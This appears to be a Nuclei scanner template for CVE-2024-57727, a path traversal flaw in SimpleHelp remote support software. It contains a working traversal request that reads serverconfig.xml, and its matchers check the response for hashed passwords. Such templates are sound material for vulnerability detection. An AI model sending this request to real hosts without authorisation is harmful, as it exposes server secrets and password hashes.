id: CVE-2024-57727

info:
  name: "SimpleHelp remote support - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities
    that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted
    HTTP requests. These files include server configuration files containing various secrets and hashed user
    passwords.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-57727&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=simplehelp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-57727
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2024,simplehelp,lfi,kev,vkev,vuln
http:
  - raw:
      - |
        GET /toolbox-resource/../serverconfig.xml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<SimpleSuite'
          - '<HashPassword>'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/octet-stream'